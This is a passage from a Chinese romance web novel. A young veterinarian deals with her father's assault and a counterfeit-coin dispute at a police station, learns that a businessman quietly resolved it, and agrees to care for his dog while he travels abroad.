说完自己也有点懵,傻呆呆看着屋内两人,对面两人也愣住,最后杨帆先开口:“你别急,是不是诈骗啊?”
“呃……应该不是。”美妙回神,快速整理思绪,“在本市的派出所。”
她一边脱白大褂一边快速地说:“我那儿你先帮忙盯着,一会路上我给主任请假。”
杨帆喊她:“那你开我车去啊。”
“不用我打车。”边说美妙已经小跑着出去了。
一直看热闹的吕城突然想起什么,小姑娘去管什么用,这不得让人欺负死啊,他两步走到外头冲走廊喊:“诶,那谁就在外面呢!”
可惜美妙跑得太快根本没听见。
吕城想了想,掏出手机打了一通电话,然后坐下来跟杨帆闲聊。
杨帆淡定地坐下:“别担心,美妙同学就是闯白宫都吃不了亏。”
吕城自然知道杨帆是杨院长的儿子,倪他一眼:“看来把你收拾得也挺服帖。”
杨帆嘴角耷拉下来:“我俩是同学好吧,好男不跟女斗。”
吕城就忍不住问:“那上学的时候你们班没人追美妙同学吗?”
杨帆就对着电脑摇头叹气,“她呀,就只知道上课泡图书馆、考试、学习,整个一榆木疙瘩。”
吕城低头捋了捋猫猫,这么看来,两人还挺搭。
他顺势搭了眼手表,就是不知道那位能不能抓住机会。
美妙正握着手机在路边等车,她叫的快车还在两个红绿灯之外,她焦急地来来回回,一下低头看定位,一下盯着双向车道。
正值中午,太阳光晒的人头顶发晕,沈女士在电话里也没详细说,她只知道跟老爸买古币有关,那这应该不是什么大事吧,她慌慌的安慰自己,眼看车的定位越来越近,心里越发焦急。
有车声缓缓靠近,突兀地停在跟前,她退后两步让道,往后看自己叫的车牌,却听到一道熟悉的嗓音,“上车。”
她没动,惊讶地抬头。
梁时言见她愣着不动,皱起眉头又说一遍:“这里不能停车,快点。”
她来不及考虑,拉开车门上去,先把订单取消,不得已被扣了五元违约金,她先报了个目的地,然后惊讶道:“你怎么在这里?”
“在附近谈事。”梁时言不紧不慢,车速却明显提升。
美妙接着好奇,刚才车那么多,“你怎么发现我的呀?”
梁时言好像笑了一下,只说:“马路边站了一个人,不是很显眼吗?”
哦也对,不然那些司机怎么接到客人呢,况且她在站在医院大门附近,是挺显眼的。
她想起什么,“刚才吕城带着猫来找我看病了。”
梁时言问:“他猫怎么了,严重吗?”
“没什么,就是胖的。”美妙解释说,“不过我还是让他做个体检,这样好放心。”
梁时言淡淡“嗯”了一声,没再说话。
美妙也实在没有心情找其他话题。
两人都不说话,就这么一直沉默,梁时言似乎也没听广播的习惯,密闭的车厢只有空气缓缓的流淌。
五分钟后。
美妙不再看路况,而是侧脸对着窗,她有点不习惯这种过分安静的狭小空间。
这会儿连外头的车流声嗓音,几乎都听不见,太安静了。要是打车,她还可以心安理得看手机,想到这,她低头瞄了瞄腿上的手机,又觉得这样对于好心开车的人不礼貌,于是打消了这个念头。
只给主任发消息请了假,然后又锁屏手机,继续望着窗外。
车子丝滑地穿梭车流,偶尔有空挡,梁时言就尽量超车,遇到黄灯在保证安全的情况下,他也会擦着尾巴开过去。
这人车技不错,这是美妙无事可做,一直盯着后视镜得出的结论。
想到自己那笨笨的开车技术,科目三考了三回,然后拿了几年驾照也只偶尔开姐姐的车,车技又实在丢人。一想到美丽,她又开始怅然起来,不知道她怎么样了。
正在胡思乱想之际,车忽然停下来。
梁时言解开安全带一边提醒:“到了。”
此时美妙也注意到眼前就是派出所,忙解开安全带跳下车,“谢谢你啊!”然后头也不回,急吼吼地走了。
梁时言不紧不慢地熄火,他的视线追随美妙的身影,跳上台阶,然后推开门,玻璃门来回晃荡着,才缓缓收回。
美妙一生遵纪守法,从没进过派出所,跟前厅说明来由后,她就被带到了后面办公室,刚推开玻璃门,就听到了沈女士隐约的哭声。
里头调解室里两拨人,面对面坐,明显僵持着。
她一眼看到靠墙椅子上正吧嗒吧嗒掉眼泪的妈妈,然后是旁边衣冠不整的老父亲,眼镜折了一半挂在脸上,颧骨有些乌青,头发凌乱,明显挨了打。
美妙瞬间怒火上涌,一股气上来:“谁打我爸啦?啊!”
然后斗志小公鸡般盯着另侧的两人,一人撇脸没理,另一人长着一副尖嘴猴腮的嘴脸,回敬她:“你是谁啊?”
“我,”美妙指着身后的老美,“他是我爸,你说我是谁?”
“我问你,是不是你打的我爸?”她走近那人。
“都冷静一下!”中间办公桌后的民警不耐烦地敲了敲桌子。
“你这个奸商!卖假货还敢这么嚣张!有没有王法了!”美老师气的嘴唇发抖。
美老师当了一辈子老师没受过这种委屈,美妙看着心疼,立马转向刚才说话的民警:“警察同志,我们要验伤。”
民警看向美老师,询问意见。
美老师当即说:“我听我女儿的。”
美妙大致知道了事情经过。
一周前美老师逛古玩市场,买了一枚据说罕见的古币,卖家说是祖传的,还当场拿出一份鉴定证书,当时现场还有个藏友一起抢着买,让一向谨小慎微的美老师误以为捡漏,花光了小金库买入宝贝。回家一查才发现是仿品。
美老师气不过去去理论,没曾想当时那位抢购的藏友竟然是店家的托,双方发生口角,一对二,美老师自然吃了亏。
美妙缓了缓心神,对民警说:“警察同志,我们的诉求很简单,第一坚持立案,要
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求验伤。”
“第二,我们举报商家售假,要求警方调查是否构成诈骗罪。”
“第三,我们要求追究刑事责任,故意伤害罪。”
她顿了顿,硬邦邦地说:“其他的我暂时没有想到,等想到了我再补充。”
这几句话一出,中年民警被逗笑,小姑娘还挺懂法,便示意让气鼓鼓的她先坐下,笑说:“我理解你的心情。”
他思考片刻,双手往下虚按了按,严肃道:“我建议这样啊——咱们还是先调解,尽量不要闹那么僵,你看您这位父亲还是老师呢,咱们为人师表,面子还是要顾的。真闹开了,对谁都不好看,您说是不是?按说呢,这事儿可以按治安案件处理,但真走到那一步,做笔录、调监控、立案,对双方都是精力和时间的消耗,后续还有一系列程序要走,咱们……”
这是要和稀泥?
美妙越听越不对,她在心里腹诽,正准备如何接话。
这时候,桌上固定电话乍响,民警清清嗓子接起来,一眼看到了门外立着的英挺男人,忍不住多看了两眼,这才盯着笔录讲话。
美妙先安慰了一通沈女士,然后仔细看老沈的伤情,轻轻地点一点他颧骨:“疼不疼啊?”美老师嘶一声往后缩,“疼——”
“对不起对不起。”美妙忙道歉。
她哪里见过受人尊敬的爸爸这副熊样,真是又气又心疼,“您是老师啊,有什么话不能报警或者给我电话呀,怎么自己跑去理论呢?还跟人打起来。”
“我……我原本是跟他们讲理的呀,可是他们蛮不讲理……”
美老师没讲完,只见那边民警挂了电话,对他们说:“是这样啊,情况我们已经基本清楚了。你们可以先回去了,后续又情况我们会再联系。”明显和颜悦色不少。
美妙没忘记她的诉求:“那我刚才的要求呢?”
“我都记下来了你放心,凡是正当要求我们肯定配合。”说完就开了伤情鉴定委托书,“然后你们签了回执就可以回去了。”
对面的两人立刻傻眼:“那我们呢?”
“你们在这里说明情况配合调查。”民警的语气变得生硬起来,“涉嫌售假还打人,你们事儿大了。”
美妙一听,心里总算松口气。
看来是自己小人之心,她赶紧起身道谢,心里因为刚才的冤枉还有点小愧疚,连着说了好多遍感谢的话。心里却想着,看来短视频还是少刷,害她差点误会人家。
到最后,她扶着美老师签过字,然后托着昏头昏脑的沈女士回家,一家人夹汉堡一样推开门,这才看到了站在门口的梁时言。
“你怎么还没走啊?”她惊讶道。
梁时言扶住门,若有所思着看她,似乎在回味刚才斗志小公鸡的一系列操作,说:“没什么事,正好看到你孝勇双全的样子。”
美妙一时不适应,还有点心虚:“说什么呢?”
刚刚还昏头昏脑的沈女士,忽然精神一抖,借着门开走出去,先后头看了眼女儿,再瞅瞅这位矜贵十足的青年,不由得浮想联翩:“这位小伙是……?”
34. 第 34 章
知母莫若女,沈女士的变化瞎子都看得出来,她简直要冒汗,忙出声:“妈妈妈,这是我同事,刚才从医院来的急,幸亏人家顺路送我。只是送我。”
“噢……”沈女士明显失望,“这样啊,那要好好谢谢人家。”
美妙忙说改天我重谢,咱先回家吧。
然后左手扶着鼻青脸肿斯文扫地的爸,右手拽着依依不舍还一个劲往后看的妈,一齐往外走,还不忘扭头通知梁时言:“那个,谢谢你啊,改天一定重谢。”不知怎的,脸上觉得有点辣,莫名不敢看他。
梁时言站在原地,却觉得好笑。
他顿了顿,正要开口。
陈佳佳从外头闯进来,“怎么样,没事吧啊?”
“没事没事,回家再说。”美妙赶紧回她。
陈佳佳收到美妙的消息就往这里赶,总算没出什么大事,她跟着松一口气,猛然瞥见过道上的梁时言,跟刚才美妙一样,先诶一声,然后发出了同样的惊叹:“梁总,您怎么也在这儿?”
她边回头瞅一眼美妙,表情不可琢磨,“这是…?”什么情况啊。
哎呦我去,美妙真的头晕。
只好又把刚才跟沈女士的话又重复一遍,还特意交代一句:“就是顺路。”
陈佳佳听了缓缓点头,却抑制不住内心的小喷泉:“这样……啊。”
“哎!”沈女士却抓住关键词,“妙妙,你刚不是说这小伙子是你同事吗?”
哎呀我的妈呀,美妙头痛不已,直接拉着人撤,丢下一句就拉着人走:“我去车里等你。”
陈佳佳眉眼之间都是喜气,也不急,喜滋滋地看着美妙出去,然后走到梁时言面前,开始寒暄。
他们说什么美妙管不着,她现在脑子一团乱,光是处理老美这一摊事就感觉智商不够用,还得尽快带老美去验伤,也不知道这事还有没后续,又琢磨着一会儿先回家,还要跟主任多请几小时假。
陈佳佳挺精,远程开了车门,美妙让爸妈先进车里等,正等着看时间,这才见陈佳佳眉开眼笑地出来了。
“哎呦姑奶奶,您快着点吧。”美妙催她。
陈佳佳却拿乔,“我现在可是重点保护对象,您说话可悠着点。”
美妙马上做作地过去给她拉车门:“您请吧,高太太。”
陈佳佳也做作挑着眉:“这才像样嘛。”
她又停住:“你不好奇我跟梁总说了什么?”
美妙摇头表示不想,心不在焉地说:“我现在一脑门官司。”
陈佳佳听后看向车里毫无血色的美老师,叹口气准备之后再说,于是钻进驾驶室:“那行,咱先回去。”
“阿姨叔叔,没多大事儿。咱现在是法治社会,该索赔索赔,那帮坏人一分钱也别想逃。”她在前头开解,从后视镜看一眼美妙,见她夹在俩老人中间头疼的表情,实在想笑。
美老师偷藏私房钱不说,还拿私房钱偷买古币,还闹到派出所来了。沈女士这么爱面子的人,前脚大闺女甩男友满小区皆知,后脚受人尊敬的教师丈夫进派出所,这下回家肯定是场大战。
光想一想就替美妙头痛。
美妙倒不在乎这个,事已至此,老两口风风雨雨几十年,她也见怪不怪,并不担心家庭大战。她快速地把事情在脑子里过一遍,考虑要不要咨询律师,这会儿开始翻通讯录,就问:“去年聚会,咱班哪个人在律所上班来着?”她直身靠过来问。
陈佳佳记性好,开口便说:“陈卷饼啊。”
上课永远在睡觉,头发总是乱得像卷饼那位,美妙想起来了,哦了一声,低头翻找这人电话。
陈佳佳当即会意,忙补充:“人家是离婚律师啊,咋地你要离婚啊,您还没结婚呢?”
“我知道。”美妙目光点开陈卷饼朋友圈,“那我想他肯定认识其他律师嘛,我打听打听。”
“那我觉得没那必要。”陈佳佳从后视镜倪她一眼,语气笃定。
“为什么呀?”美妙抬头,眼神茫茫然地看着她。
陈佳佳想了想,虽然不是很肯定,但十有八九觉得没必要,于是含糊但笃定地说:“你就听我的,先等几天看看。万一搞不定,我这边帮你联系卷饼。”
“我跟他关系可比你铁!”她补了几句。
美妙一想也是,她跟陈卷饼的聊天记录比钱包还干净,连赞也没给人家点一个,实属有点用人朝前,不用人朝后。不过这也不对,她可以付费咨询啊。
不过陈佳佳关系确实比她硬,两人曾经搞过小暧昧。
她其实十分想问问详情,但碍于两位高堂在侧,便打消了念头。
一路回到家先安顿父母,然后送走陈佳佳,紧绷的神经终于松弛下来,她一个人窝在沙发上想事情,同时监视着家中动态。
美老师自知理亏,收拾后十分腼腆地回屋躺着了。沈女士也从丈夫挨打受气的惊愕中缓过来,开始后知后觉地气恼私房钱的事情,此时正躺在另一边的沙发上生闷气。
“妈,咱晚上吃啥呀?”
“吃屁。”沈女士埋怨地应一声,翻个身面朝窗外。
美妙耸耸眉,这答案一点不意外,“那我点外卖。”说完踩着拖鞋往主卧走,进屋挨着门问:“爸今晚我请你吃饭,你想吃啥?”
半响,美老师才回话:“啥也吃不下。”
“吃嘛吃嘛。”美妙走到床边,晃着美老师胳膊,学着小时候美老师哄自己,“吃嘛吃嘛,您起来陪我吃点,我饿得不行,再不吃东西,我马上可要啃沙发啦!”
“连您一块啃!”美妙说着就要上手。
美老师被她这么一闹,只好投降,改口说那你点吧,然后特别不好意思地小声说:“问问你妈想吃什么?”
美妙想笑不敢笑,忙点头应是,看到床头柜上那副被摧残的眼镜,“吃过饭等天黑透了,咱再去给你配副眼镜,整个帅点的。”
“您这幅不行,土的要死,早该换了。”她又卖乖地说。
美老师点点头,似乎恢复了一些生机。
就这样在一阵沉默不语中,一家三口团圆在餐桌旁,吃了一顿丰盛的炒菜外送。这放在以往,根本是不可能发生的事,因为沈女士有一句至理名言,只要灶台还有一口气,外卖休想进我家门。
不过,依照美妙观察,两位高堂胃口还是蛮不错的。
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看来偶尔换换口味,也不是不行嘛!
第二天上午又请了半天假,领着美老师验伤,之后取新眼镜,然后就是等着派出所那边的通知。美妙这头打车把吩咐司机把老爸送回家,自己另外打车,返回医院。
因着主任的假批的又快又大方,她先去找主任,老邹头一改往日的严肃,先是问了情况,然后又问:“需不需要帮忙,我倒是有学生在公安系统。”
美妙心说应该不至于吧,但心里始终没底,所以话没说死,就说先看看情况再说,老邹听了思虑片刻,说:“有需要随时给我打电话。”
“知道了,老师。”
美妙心里一阵暖意。
回到科室,杨帆先看到她,也来问情况,只是这事关系到美老师一世英名,她得兜着没敢细说,大概糊弄了几句打发了他。
接下来就是耐心等待。
听说这种事可快可慢,美妙耐着性子等到伤情鉴定报告出来,然后配合着提交了一堆资料,本以为还要再等上一段时间,谁知道两天后,派出所那头来了电话。
没想到事情竟然这么快解决了!
不仅各项赔偿齐全,按流程一分不少,而且出于意料地还超出一些,对方的态度也180度的大转弯,亲自上门道歉不说,骗的钱如数奉还。
冷着脸送走那两个人,沈女士紧绷的脸终于松弛下来。
听说后面还有赔款,这下另冷脸许久的沈女士忽然释怀了。
与此同时,颓废了一阵的美老师终于没有白挨打,腰杆子一下重新挺起来,直呼帽子叔叔为人民,打算上门亲自送锦旗。
美妙也终于松了一口气,一家团结和睦的日子,终于又回来了!
她忙给陈佳佳报喜讯,抑制不住的感慨欣慰,谁知程佳佳听后竟然一点不意外,冷不丁回了句:“你可真行,就你这脑子跟卤蛋似的,一点褶都不舍得长啊。”
美妙一怔,坠入云里:“什么意思啊?”
那头陈佳佳叹口气:“你这智商,放宫斗剧里绝对活不过片头曲好吗,你咋这么天真呢?嗯?”
美妙蹙眉,“到底啥意思啊?”她智力绝对不低,中等偏上,情商也绝对不低好吧。
于是抗议:“我忙着救死扶伤呢,你可别激我!”
陈佳佳不屑地切一声,然后原原本本道出了始末,她不愧是人情堆里打滚的老油条,这么听了她一通分析,美妙心里凉了半截,忽然感觉锦旗确实没必要送了。
她悻悻然挂了电话。
逐渐反应过来,心说就是啊,美老师的事说大不大,但是说小也不小,即使走正常流程怎么也得拖一阵,双方怎么着也得撕了几个来回。没可能这么快,这么顺利就完事了,又想到对方急转直下的态度。看来陈佳佳说的没错,她真是过于天真了。
要不把锦旗上的名字改改?
美妙坐在电脑前,有一下没一下咬着笔杆,心道梁时言这人真挺怪的,做好事也不吱一声,这是准备当活雷锋么。
不过,她却不能不谢人家。
挑了个不忙的空挡,美妙拨通了梁时言的电话,铃声响了十来秒,那边通了。
35. 第 35 章
梁时言:“喂。”
一声像大提琴的尾音,沉而稳地落在听筒里,好像比当面讲话更近,也更柔软,美妙下意识拿开手机看了眼。
“哦哦,是我……”她忽然觉得难以措辞,不知道怎么开口。
这好比如果他事先说可以帮忙,那她本可以很大方地拒绝或者接受,然后道谢,而不是现在后知后觉地找补。她甚至能想象出依陈佳佳所说,他是如何轻松地解决这些麻烦,如何之顺手而为,不值一提。
可越是这样,她就越是觉得尴尬。
“嗯,我知道。”那头依然声色平静,一字一句无比清晰,没有波动。
“哦,我打电话就是谢谢你,我爸爸的事已经解决了,刚才听佳佳说才知道是你帮的忙。”她实话实说。
“再次谢谢。”她听见自己这么说,语气略嘘,但尽可能显得真挚。
那边沉默一刻,好像在处理工作,哗哗翻动纸张的声音之后:“没什么。”
果然,对他来说小菜一碟。
这让美妙心里一松,转眼活泼起来:“那不行,反正你帮了很大的忙,您想我怎么谢你吧,请客或者别的,随你挑。”
那边似乎认真地想了想,然后说;“那等我想好后再说。”
“行!”美妙满口答应,“那之后再说。”
“byebye!”她拿开手机。
听筒里也传回一声淡淡的“byebye”,然后美妙手指轻点,结束通话。
她慢慢靠回椅背,心里有了一种完成一件大事的松懈和夹杂着说不清感觉的微妙感,有点微酸,又有点微微发胀。
她对着电脑长长舒了一口气,驱走了这莫名其妙的感觉。
夏末秋初的夜晚,空气中飘着一种微妙的过渡感。
傍晚的夕阳虽然还炙热地烤着,绿叶里的蝉鸣,一声比一声高亢。但随着落日西沉,微凉的风扑面,舒爽的凉意,树叶轻轻摆动,沙沙声仿佛都在为真正的秋天鸣唱。巷口飘来一阵阵烧菜的饭香,混着尚未散尽的白日余温,这种时刻总让人莫名想加快脚步——不知沈女士的厨房里,今晚是什么菜色。
三菜一汤,外加一道全家都爱的红烧小排,算是很隆重了。
家里人都得了消息,饭桌上沈女士再提送锦旗的事,说要尽快找地方做好送过去,人家毕竟秉公执法且效率惊人。
美妙边啃排骨边听,转眼看到美老师鼻子上架的新眼镜,想了想,决定咽下实情。毕竟以沈女士的尿性,要是知道是那天见到的小伙子帮的忙,说不定会押上自己,提着礼盒,要上门道谢不可,本着多一事不如少一事的原则,她犹豫后选择闭嘴。
“你放心妈妈,这事我去办。”她一本正经胡诌。
谢一定是要谢的,反正她也不算撒谎。
忽然又恶趣味地想,如果对方是个丑小伙,沈女士肯定是这样吩咐的:“美妙,你改天替我们好好谢谢你那同事。”
“你笑啥呢?”美老师问表情怪异的女儿。
“噢……”美妙忙低头,专心啃排骨,“没什么,我高兴的。”
都说受人点滴恩惠,当以厚报相还。
原以为要等上一段时间,没想到已经到月底,就在美妙已经忘了这茬事的时候,“高利贷”来了。
这天吕城又带猫来了。
他家猫确实没肿瘤,但是经过之前全身体检,这猫因为体重超标导致心肺功能不好,所以之后转到别科做减肥去了,需要定期监控体重变化,今天来复诊。
美妙发现这个人真是挺逗,猫大人做水下跑步机的时候,他就过来闲聊,大喇喇地坐在杨帆工位上,一点不见外。
杨帆呢,就在边上坐着,两人对头闲聊。
刚开始聊宠物,后面聊足球,又聊到游戏,又从游戏聊到岛国大片,两人愈发口无遮挡,墙角的美妙实在没耳朵听了。
她转头咳了声:“你俩把这当酒吧了?”
吕城一顿,这才发现她的存在:“你啥时候来的?”
“废话。”美妙无语死了,“我在这被你俩吵了二十分钟了。”
杨帆惊回身,竟然没发现她下手术回来,发觉那两只眼睛里迸发的小火苗,啧了下,十分不好意思地说:“抱歉抱歉,我错了。”
“自罚三杯——奶茶!”
“我现在就给你点。”
美妙感觉脑子被污染的厉害,准备去病房陶冶下情操,保存文档站起来:“大杯,少少少糖。”
然后往门口走了。
只感觉耳根火辣辣地烧。
吕城就看着她背影摇头,“小美医生真的好有意思啊,”他问杨帆:“她到底啥时候进来的?”
杨帆跟他一样茫然,刚才说的太嗨了,随口说:“可能说到手很灵活那段吧。”
吕城:“还好,她应该听不懂。”
杨帆表示赞同地点点头,开始点奶茶:“肯定啊。”
然后两人就又说回猫的减肥方法,吕城表示自己要出差一趟,之后会让家里人带猫过来复诊。杨帆就拍拍胸脯,说有事尽管找他,包在他身上。
美妙惦记着没弄完的病例报告,掐着时间回来,正好跟吕城一进一出,在走道撞见,只见吕城端着杯奶茶:“美医生回来了。”
美妙微笑道:“吕总。”
吕城停下来,言语爽朗:“别这么叫我,多生份。”
美妙一呆:“……”
咱好像也不是很熟吧。
“要不你跟杨帆一样叫我……”吕城想了想建议说你跟杨帆一样叫我吕哥。
——吕哥?
美妙错愕,哪有人这么占便宜的。
还没等她有所反应,就见吕城愣了楞,似乎也意识到哪里不对,嗯嗯了一声,立刻改口说:“你还是直接叫我名字吧,直呼我大名就好。”
这也不太好吧。
美妙思忖着。
就听吕城又说了一句:“毕竟梁时言是我老板。”
美妙不由得皱起眉,“什么意思?”
吕城看着她,斩钉截铁地表示:“叫我吕城。”
好吧。
“吕—城?”美妙莫名奇妙跟着他学了一句,然后看着他挥手走远了。
这都什么呀,神神叨叨的,美妙一进科室就拿起自己那杯少少少糖的奶茶,插入吸管:“你跟吕城说什么了?他怎么怪怪的。”
杨帆正整理病例,一边扒拉一边还沉浸在心虚里,“什么也没说。”
“那他提梁时言干嘛?”古里古怪的。
杨帆手一顿,他刚才跟吕哥约了晚上
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回家互相分享资源来着,难道梁总也要?不是吧?
“不能吧,梁总看着挺正经的不像那种人。”他脱口而出。
“什么人?什么不正经?”美妙更加莫名其妙,简直晕头转向,皱眉蹙眼地看着他。
杨帆这才意识到嘴瓢,准备随便说点啥先糊弄过去,还没开口。
美妙兜里的手机嗡嗡嗡一阵响,她又盯了一眼杨帆,这才掏出来看。
哦!真是说曹操曹操到。
她划开接起来:“喂?”可能正跟人说到他,美妙的声音带着一种面对面说话的随意感。
那头明显顿了一下,然后开口说了来意。
美妙:“噢。”
大约反应了五秒后。
她就很想拒绝,但说出的话到底还是软绵绵的:“那个……找我能行吗,不太合适吧?”
梁时言语气平和:“你不是宠物医生吗?”
她乖顺地苦笑,答:“那倒是没错。”
然后吸了口气:“这个你可能不太懂,我呢常年拿手术刀的人身上带煞气,小动物们啊,见到我通常都比较害怕。”
“别说小动物了,人类幼崽也最怕医生了。”她背过身尽量降低声音,唯恐杨帆听清她这番大言不惭的言论。
“是吗?”梁时言那边淡淡回了句,“你不是刚毕业,现在应该没资格主刀吧?”
美妙噎住。
梁时言:“那算了,当我没说。”
“诶——”美妙出声拦他,那边顿了下,也没挂,听筒里传来衣料摩擦的声音,感觉他好像换了只手,也许是心虚的关系,虽然他没讲话,但这几秒诡异的沉默,她却感觉他生气了。
她想起自己那句“您想我怎么谢你吧,请客或者别的随你挑”,随即咽了咽口水逼自己答应下来:“行吧行吧,那要多久呀?”
梁时言的声调还是那么平缓:“大概一周左右,不超过十天。”
“行吧。”好在最近科里不忙,家里托他的福也一切太平,她答应周末先过去看看,然利落结束通话。
杨帆好奇地问:“谁呀?”
“没谁。”美妙心不在焉地地收了手机,琢磨着回家该怎么跟美老师开口。
杨帆瞥她一眼,刚才的电话他听倒一些:“怎么,有亲戚找你走后门啊?”
美妙茫茫然地摇头,拿起奶茶吸了口:“没有,不是这个。”然后转脸,想起正事,“明天开始给小凡找领养吧。写个领养的公告,然后发个朋友圈。”
杨帆点点头,忽然又犹豫起来,“那万一小黄的主人回来找怎么办?”
美妙朽木不成地瞪他一眼,“哪有小黄?小黄早就去往西天极乐世界了,咱挂领养的是小凡小凡。”
“你看他俩长得一样吗?”她又补了句。
杨帆被整笑了,那确实不一样。
原本拖鞋大的小狗噌噌长胖了不说,连个头也跟开挂似的窜的老高,现在俨然一副青年俊狗的模样,他也跟着感怀造化弄狗,于是很认真地点头,“行,咱给小凡找个好人家享福去。”
美妙回了他一个孺子可教的表情,眯着眼说:“就这么办。”
等晚上回到家,美老师听说女儿要住到别人家里去,筷子差点没拿稳。
“你说啥——?”
36. 第 36 章
“爸你千万别多想,我就帮人照看几天狗而已,而且人家里没人,就我们俩,我跟狗。”美妙信誓旦旦,“而且铜墙铁壁层层安保,比咱家还安全呢。”
对面沈女士问:“那你上班怎么办?”
“那儿离医院比咱家近。”美妙回着沈女士的话,却给美老师夹了根鸡腿,“爸爸,没办法,原来实习还有工作我这同学都帮了大忙了,我这也算投桃报李吧。”她语气略有不可抗拒的无奈,这点倒不假。
“那是应该要帮忙的。”美老师优秀品德终于占领了高地,不放心地问:“是女同学吧?”
美妙面不改色:“那必须呀,要是男同学人家也不会找我帮忙呀。再说了,你闺女我是谁呀。君子绝不立于危墙之下。”
“这我懂。”她笑嘻嘻的,把一路研究好的说辞全倒出来。
“行,知道了,那你去吧。”美老师终于放话。
沈女士倒是无所谓,她巴不得这是个男同学,好让自家女儿跟富家同学发生点什么,吃完兀自收了碗,兴致全无地丢进厨房。
美妙装模作样地给自己也捞了只鸡腿,边啃边心虚,他喵的,以后长记性再也不口出狂言了!
周六这天早上。
吃过早饭,美妙背上“流浪”惯常用的大号双肩包,深情地告别爸妈,不知疲倦地骑上小毛驴,奔赴梁时言家。
长这么大她好像只有暑假住过几次陈佳佳家,除了宿舍还真没有外宿过,怕自己不适应所以打包了好多自己惯用的物件,以防中途落跑。
按照约定,她要在梁时言出国期间,负责照顾他家那只狗少爷的饮食起居。
嗯,简单来说,当上了狗保姆。
不过想想,他帮忙解决了美老师的事情,解了全家之难,无论如何是要谢的。
进了别墅小区。
就在美妙正在驻车吐槽,这大爷怎么还不接电话的时候,不远处的花园碎石小径,忽然拐出来一道高大的身影。
看来是穿小路来了。
美妙摁断电话收起来,都等梁时言过来。
旁边一整面墙的藤本月季绽放,绿色树篱在晨风里沙沙翻动着油亮的叶片。
就这么看过去,平心而论,画面还不错。
就梁时言这身高长相,应该挺招外貌协会的年轻女孩喜欢吧,况且他今天西装革履,内里的白色衬衫一路扣到顶,一副高智精英的派头,应该,也挺招熟女的。
美妙慢悠悠地想,见他皮鞋踩过碎石小径,越走越近,忽然惊飞她旁边草坪上的几只蓝尾大鸟,它们一齐扑棱着翅膀,晨光中划出几道蓝色的弧线,她的视线跟着这些鸟移到天空。
“哇,连这里的鸟都比万家里的肥。”她不由感慨。
万家里是她所在的社区。
万家里顾名思义,是早些年由几个小社区合并组成的回迁房大型社区聚集地,居住的户头多人口多,其实鸟也多,刚才这种蓝尾鸲也有,它们常聚在小区的活动中心,跳跃在灌丛中,专门等着人掉的零食屑或者瓜子。
只是美妙见过的大部分都比较小号,不像刚才这几只,肥啾啾的。
“看什么呢?”梁时言走到她对面。
美妙笑了笑,眼神直接越过他,又看见他身后的草坪落了几只肥啾啾,“你们这儿的鸟挺肥。”
梁时言顺着他的眼神瞧过去,犹豫一会儿,说:“你饿了?”
真是……
美妙差点喷口水。
她啧了一声,心说我有表现的那么馋吗,再说这玩意应该是保护动物吧,吃一口要坐牢的节奏,于是收回视线,冷不丁嗅到一股清幽冷冽的淡香,她稍微适应了一下,然后抬头看他,“嗯,那个……”视线不知道该放哪里,最后毫无准备地盯住他凝驻的喉结,“你应该会按时回来吧?”
梁时言笑了下,有点别以小人之心度君子之腹的表情,说:“不会。”然后顺手接她的大包背带。
美妙人小包又重,被他这么一带,包丝滑的转移走了。她一愣神的功夫,梁时言已经转身,她立刻回神,全身轻松地跟着,什么不会啊,她紧追不舍:“我告诉你我工作忙着呢,你必须按时回来,你要不按时回来我就——”
不料前面的人忽然一个停步,回头问:“你就什么?”
“我就——”她只顾低头看路,一个紧急刹车,好悬没撞上,她没好气地抬头,撞上梁时言深沉里带着一丝戏谑的眼神,忽然愣了楞。
最后没好气地嘁了一声,然后绕开他,这回走到他前面,一边强调:“我不管,反正到时间我就回去。”
梁时言点点头:“好。”
这还差不多。
美妙舒口气,心道这家伙竟然还挺好商量。
上次来的经历犹在眼前,还是那扇黑色入户门,还是那个灰绿色调的花园,靠墙那颗望橄榄树也在,旁边被她踢过的垃圾桶完好无损。
看来质量不错么。
她跟着梁时言进入客厅,门刚开条缝,舒克的大脑壳就挤了出来,然后一整个跳出来,呜呜两声,看来刚才就听到动静了,围着梁时言兴奋地打转。
“舒克?”美妙从后面看她。
舒克自这才仔细打量来人,先是愣了楞,然后疑惑地仰脸看向梁时言,就在美妙以为完了这家伙不认识我了,那我还伺候个屁哦的时候。
梁时言低声说:“去吧。”
只见舒克仰着亮晶晶的眼睛望住他,开始疯狂扭屁股。
这是一个信号。
“哎哟知道啦。”美妙莫名夹子音,动物界的久别重逢是这样的,她经验丰富,忙蹲下挠挠狗下巴,“舒克记得我呀,那真是太谢谢你啦。”
那这样,咱的工作不就好展开了嘛。
客厅宽敞明亮,家具们全都横平竖直棱角分明,个个彷佛哨兵般伫立着,整肃干净的简直不像住着人。
梁时言应该是个没啥情趣的人,这点从光秃秃的家具表面可见一斑,目及之处,绿植也不见几盆,只有落地窗前有一盆叫不出名字的盆栽。但他应该很爱看电视,黑色皮质沙发上,有一块折叠整齐的黑白格毯子,对面是一整面墙的电视屏。
美妙不知道这电视究竟多大尺寸,但她莫名觉得可以跳进去游泳。
看来,这家伙也不是全无爱好。
至少是个电视迷?
一圈逛下来,美妙最肯定的就是。
梁时言绝对有洁癖。
而且是个洁癖狂,地板干净的仅可见一点狗玩具,美妙低头仔细检查,甚至连跟狗毛都没发现。
她不禁感慨,这是怎么做到的?
接着就跟着走进厨房:“你该不会还要我帮你打扫卫生吧?”
梁时言打开柜门,回了一个略带无语的眼神,“不用
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。”
“那外面呢,浇水除草?清理垃圾?”这她也要问清楚。
“有保洁有园丁有物业管家,不用你操心。”他说完找出一本通讯录,递过来,“我都有正常缴费。”
“OK,OK”她比了一个手势,瞄了一眼黑色的通讯的笔记本,心想这年头还有人用通讯录啊,然后很尽职地接过来。
一番交接之后。
她觉得现在可以改口叫舒克少爷了,因为小少爷每日吃喝用度,啥时刻进餐,啥时刻出去玩儿,啥时刻睡觉,啥时候拉屎,都有自己的日程习惯。
她带着舒克在门口,看着梁时言提着一只商务行李箱,头也不回上车的时候,十分想冒昧地问一句:其实你可以考虑花钱雇人给舒克拣屎呀?
可惜她没敢说,眼睁睁看着汽车绝尘而去。
车一走,门里门外立刻安静下来。
院子里连声鸟叫都没有,大概这里太干净捡不着吃的,鸟都去别家了。
她关上门,独栋大房子的优点立刻显现出来,那就是安静,极度的安静,四周静悄悄的,下午的阳光绕在树梢,晒在草坪了,没有一丝声响。
美妙一路小跑,回到自己住的客房,开始慢慢收拾行李。
